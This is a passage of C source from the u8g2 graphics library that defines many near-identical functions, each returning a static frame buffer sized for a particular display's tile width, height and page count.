*page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_6_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 6;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 6;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_6_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[48];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_6_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_6_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_2_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_2_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_2_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_12_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_12_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_12_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 12;\n  return 0;\n  #else\n  static uint8_t buf[1536];\n  *page_cnt = 12;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[512];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[1024];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[768];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_5_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_5_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_5_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 5;\n  return 0;\n  #else\n  static uint8_t buf[640];\n  *page_cnt = 5;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_18_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[144];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_18_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[288];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_18_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[576];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[640];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[768];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_50_30_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[400];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_50_30_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[800];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_50_30_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 30;\n  return 0;\n  #else\n  static uint8_t buf[12000];\n  *page_cnt = 30;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_18_21_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[144];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_18_21_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[288];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_18_21_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 21;\n  return 0;\n  #else\n  static uint8_t buf[3024];\n  *page_cnt = 21;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_11_6_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[88];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_11_6_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[176];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_11_6_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 6;\n  return 0;\n  #else\n  static uint8_t buf[528];\n  *page_cnt = 6;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_9_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_9_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_9_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 9;\n  return 0;\n  #else\n  static uint8_t buf[864];\n  *page_cnt = 9;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[1536];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[240];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[480];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[1920];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_15_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[240];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_15_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[480];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_15_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 15;\n  return 0;\n  #else\n  static uint8_t buf[3600];\n  *page_cnt = 15;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[240];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[480];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[3840];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[2560];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_12_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_12_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_24_12_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 12;\n  return 0;\n  #else\n  static uint8_t buf[2304];\n  *page_cnt = 12;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_13_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_13_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_13_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 13;\n  return 0;\n  #else\n  static uint8_t buf[2080];\n  *page_cnt = 13;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_20_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[240];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_20_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[480];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_30_20_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 20;\n  return 0;\n  #else\n  static uint8_t buf[4800];\n  *page_cnt = 20;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[512];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[4096];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_40_30_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_40_30_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[640];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_40_30_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 30;\n  return 0;\n  #else\n  static uint8_t buf[9600];\n  *page_cnt = 30;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[1280];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_17_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[136];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_17_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[272];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_17_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[544];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_17_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[136];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_17_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[272];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_17_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[1088];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_17_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_17_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[768];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_17_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 17;\n  return 0;\n  #else\n  static uint8_t buf[6528];\n  *page_cnt = 17;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_20_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_20_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[768];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_20_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 20;\n  return 0;\n  #else\n  static uint8_t buf[7680];\n  *page_cnt = 20;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_12_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_12_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_12_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 12;\n  return 0;\n  #else\n  static uint8_t buf[1920];\n  *page_cnt = 12;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_20_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_20_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[512];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_20_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 20;\n  return 0;\n  #else\n  static uint8_t buf[5120];\n  *page_cnt = 20;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_22_13_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[176];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_22_13_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[352];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_22_13_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 13;\n  return 0;\n  #else\n  static uint8_t buf[2288];\n  *page_cnt = 13;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_10_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_10_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_10_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 10;\n  return 0;\n  #else\n  static uint8_t buf[1600];\n  *page_cnt = 10;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_19_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[152];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_19_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[304];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_19_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[608];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_17_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_17_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_17_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 17;\n  return 0;\n  #else\n  static uint8_t buf[2720];\n  *page_cnt = 17;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_26_5_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[208];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_26_5_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[416];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_26_5_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 5;\n  return 0;\n  #else\n  static uint8_t buf[1040];\n  *page_cnt = 5;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_22_9_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[176];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_22_9_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[352];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_22_9_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 9;\n  return 0;\n  #else\n  static uint8_t 